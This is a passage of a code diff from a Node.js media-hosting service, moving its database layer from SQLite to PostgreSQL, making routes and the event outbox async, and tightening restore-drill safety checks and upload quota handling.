held, file_size, created_at-- thresholds TEXT NOT NULL DEFAULT '{}',-- JSON: the R2 policy in force, each value with its source (default | setting)-- error TEXT--);--CREATE INDEX IF NOT EXISTS idx_media_tier_decisions_vod ON media_tier_decisions(vod_id, id);--CREATE INDEX IF NOT EXISTS idx_media_tier_decisions_app ON media_tier_decisions(app_id, id);----CREATE TABLE IF NOT EXISTS media_object_view_salts (-- day TEXT PRIMARY KEY, -- YYYY-MM-DD (UTC)-- salt TEXT NOT NULL, -- 32 random bytes, hex; deleted with the day's hashes-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP--);--CREATE TABLE IF NOT EXISTS media_object_viewer_days (-- day TEXT NOT NULL,-- object_id TEXT NOT NULL,-- viewer TEXT NOT NULL, -- 16 hex chars of HMAC-SHA256(salt of the day, client network)-- PRIMARY KEY (day, object_id, viewer)--) WITHOUT ROWID;--CREATE TABLE IF NOT EXISTS media_object_views_daily (-- object_id TEXT NOT NULL,-- day TEXT NOT NULL, -- YYYY-MM-DD (UTC)-- unique_viewers INTEGER NOT NULL DEFAULT 0,-- last_viewed_at TEXT, -- ISO 8601: the day's last new viewer-- PRIMARY KEY (object_id, day)--);--CREATE INDEX IF NOT EXISTS idx_media_object_views_daily_day ON media_object_views_daily(day, object_id);----CREATE TABLE IF NOT EXISTS media_object_tier_decisions (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- decided_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now')),-- object_id TEXT NOT NULL,-- app_id TEXT,-- action TEXT NOT NULL CHECK(action IN ('promote', 'demote')),-- from_provider TEXT,-- to_provider TEXT,-- outcome TEXT NOT NULL CHECK(outcome IN ('done', 'already', 'refused', 'failed', 'dry_run')),-- trigger TEXT NOT NULL, -- sweep | manual-- reason TEXT NOT NULL,-- inputs TEXT NOT NULL DEFAULT '{}', -- JSON: unique_viewers_7d, last_viewed_day, size, kind, lifecycle, canonical copy, held, R2 copy, gate-- thresholds TEXT NOT NULL DEFAULT '{}',-- JSON: the media.object_tier policy in force, each value with its source (default | setting)-- error TEXT--);--CREATE INDEX IF NOT EXISTS idx_media_object_tier_decisions_object ON media_object_tier_decisions(object_id, id);--CREATE INDEX IF NOT EXISTS idx_media_object_tier_decisions_app ON media_object_tier_decisions(app_id, id);----CREATE TABLE IF NOT EXISTS media_object_changes (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- object_id TEXT NOT NULL,-- change TEXT NOT NULL CHECK(change IN ('deleted', 'visibility_changed')),-- previous_visibility TEXT,-- visibility TEXT,-- changed_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now'))--);----CREATE TABLE IF NOT EXISTS media_verifications (-- object_id TEXT PRIMARY KEY,-- verified_at TEXT NOT NULL, -- ISO-8601 with ms (orders the rotation)-- status TEXT NOT NULL CHECK(status IN ('good', 'no_good_copy', 'unverifiable')),-- good_providers TEXT, -- comma list of providers holding a good copy-- detail TEXT NOT NULL DEFAULT '{}', -- per-location verdicts and any re-upload-- run_id INTEGER--);--CREATE INDEX IF NOT EXISTS idx_media_verifications_at ON media_verifications(verified_at);--CREATE INDEX IF NOT EXISTS idx_media_verifications_status ON media_verifications(status);----CREATE TABLE IF NOT EXISTS media_verify_runs (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- started_at TEXT NOT NULL,-- finished_at TEXT,-- objects_checked INTEGER NOT NULL DEFAULT 0,-- locations_checked INTEGER NOT NULL DEFAULT 0,-- good INTEGER NOT NULL DEFAULT 0,-- no_good_copy INTEGER NOT NULL DEFAULT 0,-- unverifiable INTEGER NOT NULL DEFAULT 0,-- reuploaded INTEGER NOT NULL DEFAULT 0,-- reupload_failed INTEGER NOT NULL DEFAULT 0,-- no_good_copy_total INTEGER, -- ready objects with no good copy anywhere, after this run-- error TEXT--);@@@ -3,12 +3,13 @@* Restore-drill mode: MEDIA_DRILL=1 (`ovhost drill media`, see OpenVibe.Host docs/restore-drills.md).** A drill starts a second Media from the production checkout, with the production env file, against-- * a restored copy of media.db on a spare loopback port, and compares its public reads with-- * production's. That instance must serve reads from the copy and do nothing else. With MEDIA_DRILL:++ * a restored copy of the database (pgBackRest restores the cluster on a spare port; ADR-035) on a spare loopback++ * port, and compares its public reads with production's. That instance must serve reads from the copy and do++ * nothing else. With MEDIA_DRILL:*-- * - assertSafe(): Media refuses to start unless DB_PATH is set and lies outside the checkout and-- * outside /opt/openvibe.media (so it cannot be production's media.db), PORT is set and is not-- * production's 4100, and HOST is loopback. It runs before the database is opened.++ * - assertSafe(): Media refuses to start unless DATABASE_URL is set and does not name production's database++ * (ov_media on the host's 5432 or PgBouncer's 6432), DATABASE_DIRECT_URL is unset (a drill never migrates),++ * PORT is set and is not production's 4100, and HOST is loopback. It runs before the database is opened.* - installGuards(): no outbound connection (net.Socket#connect, fetch), so no webhook, event, B2/R2* or Network call leaves the process; no program other than git (child_process: no ffmpeg or* ffprobe ever; git only reads the checkout for /release.json); no UDP socket (RTP ingest); nothing@@@ -42,6 +43,9 @@ const REPO_ROOT = path.resolve(__dirname, '..');/** Where production runs (OpenVibe.Host inventory: repo /opt/openvibe.media, database data/media.db). */const PRODUCTION_ROOT = '/opt/openvibe.media';const PRODUCTION_PORT = 4100;++// Production's database: ov_media on the host's PostgreSQL (5432) or through PgBouncer (6432).++const PRODUCTION_DBS = new Set(['ov_media']);++const PRODUCTION_DB_PORTS = new Set([5432, 6432]);const LOOPBACK_HOSTS = new Set(['127.0.0.1', '::1', 'localhost', '::ffff:127.0.0.1']);function isLoopbackHost(host) {@@@ -49,41 +53,27 @@ function isLoopbackHost(host) {return LOOPBACK_HOSTS.has(h) || /^127(\.\d{1,3}){3}$/.test(h);}--/** The real location of p, following symlinks on the part of it that exists. */--function realish(p) {-- let head = path.resolve(p);-- const tail = [];-- for (;;) {-- try { return path.join(fs.realpathSync(head), ...tail.reverse()); } catch { /* not there (yet) */ }-- const parent = path.dirname(head);-- if (parent === head) return path.resolve(p);-- tail.push(path.basename(head));-- head = parent;-- }--}--function inside(p, root) {-- const rel = path.relative(root, p);-- return rel === '' || (!!rel && !rel.startsWith('..') && !path.isAbsolute(rel));--}/*** Why this environment is not safe for a drill ([] = safe). Pure, for tests.* `repoRoot` is the checkout the process runs from; `cwd` resolves relative paths.*/--function problems(env = process.env, { repoRoot = REPO_ROOT, cwd = process.cwd() } = {}) {++function problems(env = process.env) {const out = [];-- const roots = [...new Set([repoRoot, realish(repoRoot), PRODUCTION_ROOT])];-- const productionDb = new Set([path.join(PRODUCTION_ROOT, 'data', 'media.db'), path.join(repoRoot, 'data', 'media.db'), path.join(cwd, 'data', 'media.db')]);-- if (!env.DB_PATH) {-- out.push('DB_PATH is not set; it must name the restored copy of media.db');++ if (!env.DATABASE_URL) {++ // Outside production a local embedded copy (MEDIA_PGLITE_DIR) may stand in for it (the N-1 test boots one).++ if (!(env.MEDIA_PGLITE_DIR && env.NODE_ENV !== 'production')) out.push('DATABASE_URL is not set; it must name the restored copy of the database');} else {-- const abs = path.resolve(cwd, env.DB_PATH);-- const real = realish(abs);-- const root = roots.find((r) => inside(abs, r) || inside(real, r));-- if (productionDb.has(abs) || productionDb.has(real)) out.push(`DB_PATH (${abs}) is production's database; point it at the restored copy`);-- else if (root) out.push(`DB_PATH (${abs}${real !== abs ? ` → ${real}` : ''}) is inside ${root}; a drill writes nothing in the checkout or in production's data`);++ let u = null;++ try { u = new URL(env.DATABASE_URL); } catch { out.push('DATABASE_URL is not a postgres:// URL'); }++ if (u) {++ const name = decodeURIComponent(u.pathname.replace(/^\//, ''));++ const port = Number(u.port || 5432);++ if (PRODUCTION_DBS.has(name) && PRODUCTION_DB_PORTS.has(port)) out.push(`DATABASE_URL (${name} on port ${port}) is production's database; point it at the restored copy`);++ }}++ if (env.DATABASE_DIRECT_URL) out.push('DATABASE_DIRECT_URL is set; a drill never migrates or writes: unset it');if (!isLoopbackHost(env.HOST)) out.push(`HOST (${env.HOST || 'unset, i.e. 0.0.0.0'}) is not loopback; a drill binds 127.0.0.1 only`);const port = Number(env.PORT);if (!env.PORT || !Number.isInteger(port) || port < 1 || port > 65535) out.push('PORT is not set; it must be the drill\'s own port');@@@ -29,7 +29,7 @@*/const { createClient } = require('openvibe-sdk/core');const { createServiceTokenClient } = require('openvibe-sdk/auth');--const { createEventsClient, createOutbox } = require('openvibe-sdk/events');++const { createEventsClient, createPgOutbox } = require('openvibe-sdk/events');const db = require('./db/database');const TYPES = {@@@ -65,14 +65,15 @@ function init({if (process.env.EVENTS_PUBLISH === 'off' || !eventsUrl || !clientSecret) {// No outbox: object changes staged by the triggers are not events here; drop them hourly.if (!drainTimer) {-- drainTimer = setInterval(() => { try { discardObjectChanges(); } catch { /* next hour */ } }, 60 * 60 * 1000);++ drainTimer = setInterval(() => { discardObjectChanges().catch(() => { /* next hour */ }); }, 60 * 60 * 1000);if (drainTimer.unref) drainTimer.unref();}return null;}const tokens = createServiceTokenClient({ tokenUrl: `${networkUrl}/oauth/token`, clientId, clientSecret, fetch: fetchImpl });const client = createClient({ baseUrls: { events: eventsUrl }, tokenProvider: tokens, fetch: fetchImpl, retries: 0 });-- outbox = createOutbox(db.getDb(), {++ // The PostgreSQL outbox (its table is in migrations/0001_initial.sql); enqueue() joins the caller's transaction.++ outbox = createPgOutbox(db.getDb(), {events: createEventsClient(client, { source: 'media' }),intervalMs,onError: (err) => {@@@ -81,16 +82,15 @@ function init({stats.lastError = msg;},});-- outbox.ensureSchema();outbox.start();-- const prune = setInterval(() => { try { outbox.prune(); } catch { /* next time */ } }, 6 * 60 * 60 * 1000);++ const prune = setInterval(() => { outbox.prune().catch(() => { /* next time */ }); }, 6 * 60 * 60 * 1000);if (prune.unref) prune.unref();// Object changes that no Media transaction recorded (a row deleted outside one, operator SQL).if (drainTimer) clearInterval(drainTimer);-- drainTimer = setInterval(() => { try { drainObjectChanges(); } catch (err) { console.warn('[Events] object changes:', err.message); } }, intervalMs);++ drainTimer = setInterval(() => { drainObjectChanges().catch((err) => console.warn('[Events] object changes:', err.message)); }, intervalMs);if (drainTimer.unref) drainTimer.unref();-- try { drainObjectChanges(); } catch { /* the timer retries */ }-- console.log(`[Events] media outcomes → ${eventsUrl} (${outbox.pending()} pending)`);++ drainObjectChanges().catch(() => { /* the timer retries */ });++ outbox.pending().then((n) => console.log(`[Events] media outcomes → ${eventsUrl} (${n} pending)`), () => {});return outbox;}@@@ -106,7 +106,7 @@ function slim(appId, data) {* it. Returns the envelope (with event_id), or null when the outbox is off, the tenant is a sandbox* or the webhook event has no durable twin.*/--function record(webhookEvent, appId, data) {++async function record(webhookEvent, appId, data) {const map = TYPES[webhookEvent];if (!map) return null;const [eventType, subjectType] = map;@@@ -114,7 +114,7 @@ function record(webhookEvent, appId, data) {const subject = subjectType === 'storage'? { type: 'storage', id: String((data && data.kind) || 'storage') }: { type: subjectType, id: String(id == null ? 'unknown' : id) };-- return enqueue(eventType, appId, subject, data, eventType === 'media.storage.recovered' ? 'low' : 'important');++ return await enqueue(eventType, appId, subject, data, eventType === 'media.storage.recovered' ? 'low' : 'important');}/**@@@ -123,20 +123,27 @@ function record(webhookEvent, appId, data) {* tenant-scoped GET /api/v2/:app/jobs/:id has those). Same rule as record(): call it inside the* transaction that changes the job's state; it throws when the insert fails.*/--function recordJob(transition, job) {++async function recordJob(transition, job) {const priority = JOB_TRANSITIONS[transition];if (!priority) throw new Error(`unknown job transition ${transition}`);// A service-wide maintenance job (queue.SYSTEM_APP) is no tenant's: nothing to announce.if (job.app_id === require('./jobs/queue').SYSTEM_APP) return null;-- return enqueue(`media.job.${transition}`, job.app_id, { type: 'job', id: String(job.id) }, job, priority);++ return await enqueue(`media.job.${transition}`, job.app_id, { type: 'job', id: String(job.id) }, job, priority);}--function enqueue(eventType, appId, subject, data, priority) {++/** The handle an event is written through: only inside the transaction that makes the change (it commits with it or not at all). */++function inTx() {++ const h = db.getDb();++ if (!h.inTransaction()) throw new Error('an event must be recorded inside the transaction that makes the change');++ return h;++}++++async function enqueue(eventType, appId, subject, data, priority) {if (!outbox) return null;// Developer-project sandbox tenants (ADR-014) produce no platform events: sandbox activity must// never reach production consumers.-- if (appId && db.isSandboxTenant(appId)) return null;-- const env = outbox.enqueue({++ if (appId && await db.isSandboxTenant(appId)) return null;++ const env = await outbox.enqueue(inTx(), {event_type: eventType,actor: { type: 'service', id: 'media' },subject,@@@ -152,9 +159,9 @@ function enqueue(eventType, appId, subject, data, priority) {* Queue a Search document or tombstone (media.index_document.*, ./public/search-documents.js) as is:* no tenant field, low priority. Same rule as record(): inside the transaction that records the push.*/--function recordIndexDocument(eventType, subject, payload) {++async function recordIndexDocument(eventType, subject, payload) {if (!outbox) return null;-- const env = outbox.enqueue({ event_type: eventType, actor: { type: 'service', id: 'media' }, subject, visibility: 'internal', priority: 'low', payload });++ const env = await outbox.enqueue(inTx(), { event_type: eventType, actor: { type: 'service', id: 'media' }, subject, visibility: 'internal', priority: 'low', payload });stats.queued++;return env;}@@@ -164,10 +171,10 @@ function recordIndexDocument(eventType, subject, payload) {* Network's moderation audit. Same rule as record(): inside the transaction that performs the action.* Sandbox tenants announce nothing.*/--function recordModeration(appId, payload) {++async function recordModeration(appId, payload) {if (!outbox) return null;-- if (appId && db.isSandboxTenant(appId)) return null;-- const env = outbox.enqueue({++ if (appId && await db.isSandboxTenant(appId)) return null;++ const env = await outbox.enqueue(inTx(), {event_type: 'media.moderation.action',actor: payload.actor_subject ? { type: 'user', id: payload.actor_subject } : { type: 'service', id: 'media' },subject: { type: 'moderation_action', id: `${payload.target.type}:${payload.target.id}` },@@@ -182,13 +189,12 @@ function recordModeration(appId, payload) {* service. When the service's outbox table exists (the outbox is on there), the script writes its* events into it too, and the service's relay publishes them. No relay runs in the script.*/--function initWriter() {++async function initWriter() {if (outbox) return outbox;const raw = db.getDb();-- if (!raw.prepare("SELECT 1 FROM sqlite_master WHERE type = 'table' AND name = 'event_outbox'").get()) return null;++ if (!await raw.prepare("SELECT 1 FROM information_schema.tables WHERE table_schema = current_schema() AND table_name = 'event_outbox'").get()) return null;const client = createClient({ baseUrls: { events: 'http://127.0.0.1:9' }, retries: 0 });-- outbox = createOutbox(raw, { events: createEventsClient(client, { source: 'media' }) });-- outbox.ensureSchema();++ outbox = createPgOutbox(raw, { events: createEventsClient(client, { source: 'media' }) });return outbox;}@@@ -222,44 +228,43 @@ function objectChangeEvent(change, obj) {* rest. With the outbox off it does nothing (the rows wait, or the service drops them hourly).* Returns how many rows it turned into events (sandbox tenants' rows are removed without one).*/--function recordObjectChanges({ limit = 1000 } = {}) {++async function recordObjectChanges({ limit = 1000 } = {}) {if (!outbox) return 0;const raw = db.getDb();-- if (!raw.inTransaction) throw new Error('recordObjectChanges() must run inside the transaction that changed the objects');-- const rows = raw.prepare('SELECT * FROM media_object_changes ORDER BY id LIMIT ?').all(limit);++ if (!raw.inTransaction()) throw new Error('recordObjectChanges() must run inside the transaction that changed the objects');++ const rows = await raw.prepare('SELECT * FROM media_object_changes ORDER BY id LIMIT ?').all(limit);let n = 0;for (const c of rows) {-- const obj = raw.prepare('SELECT id, app_id, kind, legacy_ref FROM media_objects WHERE id = ?').get(c.object_id);++ const obj = await raw.prepare('SELECT id, app_id, kind, legacy_ref FROM media_objects WHERE id = ?').get(c.object_id);if (obj) {const [type, payload] = objectChangeEvent(c, obj);-- if (enqueue(type, obj.app_id, { type: 'object', id: obj.id }, payload, 'important')) n++;++ if (await enqueue(type, obj.app_id, { type: 'object', id: obj.id }, payload, 'important')) n++;}-- raw.prepare('DELETE FROM media_object_changes WHERE id = ?').run(c.id);++ await raw.prepare('DELETE FROM media_object_changes WHERE id = ?').run(c.id);}return n;}/** Drain staged object changes in a transaction of their own (the relay's timer). */--function drainObjectChanges() {++async function drainObjectChanges() {if (!outbox) return 0;-- let n = 0;-- db.getDb().transaction(() => { n = recordObjectChanges(); })();++ const n = await db.getDb().tx(async () => await recordObjectChanges());if (n) kick();return n;}--function discardObjectChanges() {-- return db.run('DELETE FROM media_object_changes').changes;++async function discardObjectChanges() {++ return (await db.run('DELETE FROM media_object_changes')).changes;}/** Wake the relay once the transaction that queued events has committed. */function kick() {-- if (outbox) setImmediate(() => outbox && outbox.kick());++ if (outbox) db.getDb().afterCommit(() => outbox && outbox.kick());}--function status() {++async function status() {if (!outbox) return { enabled: false };-- return { enabled: true, pending: outbox.pending(), rejected: outbox.rejected(), queued_since_boot: stats.queued, last_error: stats.lastError };++ return { enabled: true, pending: await outbox.pending(), rejected: await outbox.rejected(), queued_since_boot: stats.queued, last_error: stats.lastError };}function _reset() {@@@ -58,8 +58,8 @@ function filePathForKey(row) {return path.join(config.files.path, row.app_id, row.key);}--function filePublic(row) {-- const sandbox = db.isSandboxTenant(row.app_id);++async function filePublic(row) {++ const sandbox = await db.isSandboxTenant(row.app_id);const signed = sandbox ? require('../objects/signing').signedFileUrl(row.key) : null;return {key: row.key,@@@ -99,7 +99,7 @@ router.post('/', tenantAuth({ allowUser: true, verb: 'write' }), limits('media.fconst tag = req.appRow.project_id ? `${crypto.createHash('sha256').update(`tenant:${req.appId}`).digest('hex').slice(0, 8)}-` : '';const key = `${digest.slice(0, 12)}-${tag}${name}`;-- const existing = db.getFileByKey(key);++ const existing = await db.getFileByKey(key);if (existing) {// Same content + name already stored (any app hash-collides only on// identical bytes+name for its own app; cross-app: key is global, so@@@ -108,42 +108,51 @@ router.post('/', tenantAuth({ allowUser: true, verb: 'write' }), limits('media.fif (existing.app_id !== req.appId) {return res.status(409).json({ error: 'Key conflict — rename the file and retry' });}-- return res.status(200).json({ ...filePublic(existing), deduplicated: true });++ return res.status(200).json({ ...await filePublic(existing), deduplicated: true });}-- // The root namespace's quotas (bytes and objects: files + native objects + uploads in progress).-- // Checked after the last await, so nothing else is stored between this check and the row below-- // (concurrent uploads each saw the same usage when it ran before hashing).++ // The root namespace's quotas (bytes and objects: files + native objects + uploads in progress), checked and++ // the row written in one transaction under the tenant's quota lock, so concurrent uploads cannot all fit.const root = db.rootNamespace(req.appRow);-- const q = namespaces.checkQuota(req.appRow, root, { bytes: req.file.size, objects: 1 });-- if (q) {++ const dest = path.join(appDir(req.appId), key);++ const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);++ const q = await db.getDb().tx(async () => {++ const over = await namespaces.checkQuota(req.appRow, root, { bytes: req.file.size, objects: 1 });++ if (over) return over;++ // A same-tenant upload of the same bytes and name that committed while this one hashed.++ const same = await db.getFileByKey(key);++ if (same) return { same };++ await db.createFile({++ key,++ app_id: req.appId,++ user_id: userId,++ original_name: req.file.originalname || name,++ size: req.file.size,++ mime: req.file.mimetype || 'application/octet-stream',++ sha256: digest,++ });++ try {++ fs.renameSync(req.file.path, dest);++ } catch {++ fs.copyFileSync(req.file.path, dest);++ try { fs.unlinkSync(req.file.path); } catch { /* */ }++ }++ return null;++ });++ if (q && q.same) {try { fs.unlinkSync(req.file.path); } catch { /* */ }-- return res.status(413).json({ error: q.code === 'media.quota.objects_exceeded' ? 'App object quota exceeded' : 'App file quota exceeded', code: q.code, ...q.extra });++ if (q.same.app_id !== req.appId) return res.status(409).json({ error: 'Key conflict — rename the file and retry' });++ return res.status(200).json({ ...await filePublic(q.same), deduplicated: true });}---- const dest = path.join(appDir(req.appId), key);-- try {-- fs.renameSync(req.file.path, dest);-- } catch {-- fs.copyFileSync(req.file.path, dest);++ if (q) {try { fs.unlinkSync(req.file.path); } catch { /* */ }++ return res.status(413).json({ error: q.code === 'media.quota.objects_exceeded' ? 'App object quota exceeded' : 'App file quota exceeded', code: q.code, ...q.extra });}-- const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);-- db.createFile({-- key,-- app_id: req.appId,-- user_id: userId,-- original_name: req.file.originalname || name,-- size: req.file.size,-- mime: req.file.mimetype || 'application/octet-stream',-- sha256: digest,-- });---- const row = db.getFileByKey(key, req.appId);-- namespaces.reconcileChain(req.appRow, root);++ const row = await db.getFileByKey(key, req.appId);++ await namespaces.reconcileChain(req.appRow, root);console.log(`[Files] Stored ${key} for app ${req.appId} (${(req.file.size / 1024).toFixed(1)} KB)`);-- res.status(201).json(filePublic(row));++ res.status(201).json(await filePublic(row));} catch (err) {console.error('[Files] Upload error:', err.message);if (req.file?.path) { try { fs.unlinkSync(req.file.path); } catch { /* */ } }@@@ -152,14 +161,14 @@ router.post('/', tenantAuth({ allowUser: true, verb: 'write' }), limits('media.f});// ── List ─────────────────────────────────────────────────────--router.get('/', tenantAuth({ allowUser: true, verb: 'list' }), limits('media.file.list'), (req, res) => {++router.get('/', tenantAuth({ allowUser: true, verb: 'list' }), limits('media.file.list'), async (req, res) => {try {const limit = Math.min(Math.max(parseInt(req.query.limit || '100', 10), 1), 500);const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);-- const files = db.listFiles(req.appId, { limit, offset });++ const files = await db.listFiles(req.appId, { limit, offset });res.json({-- files: files.map(filePublic),-- used_bytes: require('../objects/model').usedBytes(req.appId),++ files: (await Promise.all(files.map(filePublic))),++ used_bytes: await require('../objects/model').usedBytes(req.appId),quota_bytes: Number(req.appRow.quota_bytes) || 0,limit, offset,});@@@ -169,11 +178,11 @@ router.get('/', tenantAuth({ allowUser: true, verb: 'list' }), limits('media.fil});// ── Meta ─────────────────────────────────────────────────────--router.get('/:key', tenantAuth({ allowUser: true, verb: 'read' }), limits('media.file.read'), (req, res) => {++router.get('/:key', tenantAuth({ allowUser: true, verb: 'read' }), limits('media.file.read'), async (req, res) => {try {-- const row = db.getFileByKey(String(req.params.key), req.appId);++ const row = await db.getFileByKey(String(req.params.key), req.appId);if (!row) return res.status(404).json({ error: 'File not found' });-- res.json(filePublic(row));++ res.json(await filePublic(row));} catch (err) {res.status(500).json({ error: 'Failed to get file' });}@@@ -181,19 +190,19 @@ router.get('/:key', tenantAuth({ allowUser: true, verb: 'read' }), limits('media// ── Delete ───────────────────────────────────────────────────// A delete removes bytes and frees quota: a write, tighter than reads.--router.delete('/:key', tenantAuth({ allowUser: true, verb: 'delete' }), limits('media.file.delete', { minute: 60, hour: 1200 }), (req, res) => {++router.delete('/:key', tenantAuth({ allowUser: true, verb: 'delete' }), limits('media.file.delete', { minute: 60, hour: 1200 }), async (req, res) => {try {-- const row = db.getFileByKey(String(req.params.key), req.appId);++ const row = await db.getFileByKey(String(req.params.key), req.appId);if (!row) return res.status(404).json({ error: 'File not found' });if (req.authType === 'user' && !(req.userId != null && row.user_id === req.userId)) {return res.status(403).json({ error: 'Not authorized to delete this file' });}-- if (require('../objects/model').isHeldRow(row)) return res.status(409).json({ error: 'File is under a retention hold', code: 'media.object.held' });++ if (await require('../objects/model').isHeldRow(row)) return res.status(409).json({ error: 'File is under a retention hold', code: 'media.object.held' });const filePath = filePathForKey(row);try { if (fs.existsSync(filePath)) fs.unlinkSync(filePath); } catch { /* */ }-- db.deleteFileRow(row.key);-- namespaces.reconcileChain(req.appRow, db.rootNamespace(req.appRow));++ await db.deleteFileRow(row.key);++ await namespaces.reconcileChain(req.appRow, db.rootNamespace(req.appRow));res.json({ message: 'File deleted' });} catch (err) {res.status(500).json({ error: 'Failed to delete file' });@@@ -22,7 +22,7 @@ if (drill.enabled) {process.exit(1);}drill.installGuards();-- console.log(`[Drill] MEDIA_DRILL: restore-drill instance on ${process.env.HOST}:${process.env.PORT}, database ${require('path').resolve(process.env.DB_PATH)}. Reads only; no stored bytes, background work or outbound connections.`);++ console.log(`[Drill] MEDIA_DRILL: restore-drill instance on ${process.env.HOST}:${process.env.PORT}, database ${(() => { try { const u = new URL(process.env.DATABASE_URL); return `${u.hostname}:${u.port || 5432}${u.pathname}`; } catch { return '(unset)'; } })()}. Reads only; no stored bytes, background work or outbound connections.`);}const fs = require('fs');@@@ -31,312 +31,326 @@ const config = require('./config');const db = require('./db/database');const auth = require('./auth');--// ── Bootstrap ────────────────────────────────────────────────++// Tests take the app and the server once the boot has finished: require('./server/index.js').ready.++const ready = (async () => {++ // ── Bootstrap ────────────────────────────────────────────────--// A drill creates no storage directory (it writes no file) and seeds nothing: the copy is production's.--if (!drill.enabled) {-- for (const dir of [config.vod.path, config.vod.clipsPath, config.pastes.path, config.thumbnails.path, config.files.path, config.objects.path]) {-- if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });++ // A drill creates no storage directory (it writes no file) and seeds nothing: the copy is production's.++ if (!drill.enabled) {++ for (const dir of [config.vod.path, config.vod.clipsPath, config.pastes.path, config.thumbnails.path, config.files.path, config.objects.path]) {++ if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });++ }}--}--db.getDb(); // init schema (WAL)--if (!drill.enabled) {-- auth.seedApps(); // upsert MEDIA_APPS_SEED / MEDIA_APP_KEYS-- auth.ensureTokenOnlyApps(); // tenants reached only with Network service tokens (community)-- auth.startJwksRefresh(); // a drill asks Network for nothing (app keys still verify against the copy)--}++ // PostgreSQL first (migrations run as the owner), then what reads it before the app serves: Network's token cutoffs++ // (isRevoked() is synchronous) and the two revisioned tier policies (their get() reads memory).++ await db.initDb();++ // Valkey (ADR-035): per-actor limit counters shared across processes (not in a drill: it connects nowhere).++ const valkey = !drill.enabled && config.valkey.url ? require('openvibe-sdk/valkey').createValkey({ url: config.valkey.url, prefix: config.valkey.prefix }) : null;++ require('./actor-limits').useValkey(valkey);++ if (!drill.enabled) await require('./revocations').load();++ await require('./vod/tier-config').init(require('./vod/vod-storage').DEFAULTS);++ await require('./objects/tier-policy').init();++ if (!drill.enabled) {++ await auth.seedApps(); // upsert MEDIA_APPS_SEED / MEDIA_APP_KEYS++ await auth.ensureTokenOnlyApps(); // tenants reached only with Network service tokens (community)++ auth.startJwksRefresh(); // a drill asks Network for nothing (app keys still verify against the copy)++ }--const app = express();--// Only the local reverse proxy (nginx on this host) is trusted to say who the client is: req.ip is--// its X-Forwarded-For for loopback peers and the socket address for anyone else, so a direct caller--// cannot pick its own IP (views, rate limits). `true` trusted every peer's header.--app.set('trust proxy', require('./client-ip').TRUST_PROXY);--// Metrics first, so every route below is measured (GET /metrics: loopback callers only).--const release = require('openvibe-shared/release').createRelease({ service: 'media', root: require('path').join(__dirname, '..') });--const observability = require('./observability');--const instrumented = observability.instrument(app, { release: release.release });--// Per-actor limit refusals (server/actor-limits.js) are counted there: media_rate_limited_total.--require('./actor-limits').bindMetrics(instrumented.registry);--// A restore-drill instance answers reads only: 403 for every other method, on every path (before the--// raw-body upload routes below).--if (drill.enabled) app.use(drill.readOnly);--// Object API v2 content uploads read the raw request body, so they sit ahead of the body parsers.--app.put('/api/v2/:app/objects/:id/content', ...require('./objects/routes').contentHandlers);--app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...require('./objects/routes').partHandlers);--// Network's sign-out-everywhere cutoffs (server/revocations.js): signed, loopback-only. Before the JSON--// parser, which would consume the raw body the signature is over.--app.post('/internal/events', ...require('./revocations').handler());--app.use(express.json({ limit: '2mb' }));++ const app = express();++ // Only the local reverse proxy (nginx on this host) is trusted to say who the client is: req.ip is++ // its X-Forwarded-For for loopback peers and the socket address for anyone else, so a direct caller++ // cannot pick its own IP (views, rate limits). `true` trusted every peer's header.++ app.set('trust proxy', require('./client-ip').TRUST_PROXY);++ // Metrics first, so every route below is measured (GET /metrics: loopback callers only).++ const release = require('openvibe-shared/release').createRelease({ service: 'media', root: require('path').join(__dirname, '..') });++ const observability = require('./observability');++ const instrumented = observability.instrument(app, { release: release.release });++ // Per-actor limit refusals (server/actor-limits.js) are counted there: media_rate_limited_total.++ require('./actor-limits').bindMetrics(instrumented.registry);++ // A restore-drill instance answers reads only: 403 for every other method, on every path (before the++ // raw-body upload routes below).++ if (drill.enabled) app.use(drill.readOnly);++ // Object API v2 content uploads read the raw request body, so they sit ahead of the body parsers.++ app.put('/api/v2/:app/objects/:id/content', ...require('./objects/routes').contentHandlers);++ app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...require('./objects/routes').partHandlers);++ // Network's sign-out-everywhere cutoffs (server/revocations.js): signed, loopback-only. Before the JSON++ // parser, which would consume the raw body the signature is over.++ app.post('/internal/events', ...require('./revocations').handler());++ app.use(express.json({ limit: '2mb' }));--// ── Visitor sign-in (OAuth client `media` on the Network; same module as Community/Tools) ──--// Host-only cookies on openvibe.media. No new dependency: cookies are parsed here.--app.use((req, _res, next) => {-- req.cookies = {};-- for (const part of String(req.headers.cookie || '').split(';')) {-- const i = part.indexOf('='); if (i < 1) continue;-- try { req.cookies[part.slice(0, i).trim()] = decodeURIComponent(part.slice(i + 1).trim()); } catch { /* malformed value */ }-- }-- next();--});--{ const legal = require('openvibe-shared/legal'); app.get(legal.PATHS, legal.handler({ id: 'media', service: 'media', host: 'openvibe.media', name: 'OpenVibe.Media', profile: 'hosting' })); app.get('/tos', (_req, res) => res.redirect(301, '/terms')); }--// Brand assets: icon set + web app manifest generated by openvibe-shared/scripts/build-app-icons.js--// This site's own pinned copy of the OpenVibe Frame's browser files (openvibe-shared/serve).--app.use('/shared', require('openvibe-shared/serve').handler());--app.use('/assets', express.static(require('path').join(__dirname, 'brand'), { maxAge: '7d' }));--app.get('/manifest.webmanifest', (_req, res) => res.type('application/manifest+json').sendFile(require('path').join(__dirname, 'brand', 'manifest.webmanifest')));--// ── Internal: avatar ingestion (the Network asks; see server/avatars/ingest.js) ──--{-- const crypto = require('crypto');-- const internalOnly = (req, res, next) => {-- const want = String(config.network.internalApiKey || ''), got = String(req.headers['x-internal-key'] || '');-- const viaProxy = req.headers['x-forwarded-for'] || req.headers['x-real-ip'] || req.headers['cf-connecting-ip'];-- const local = 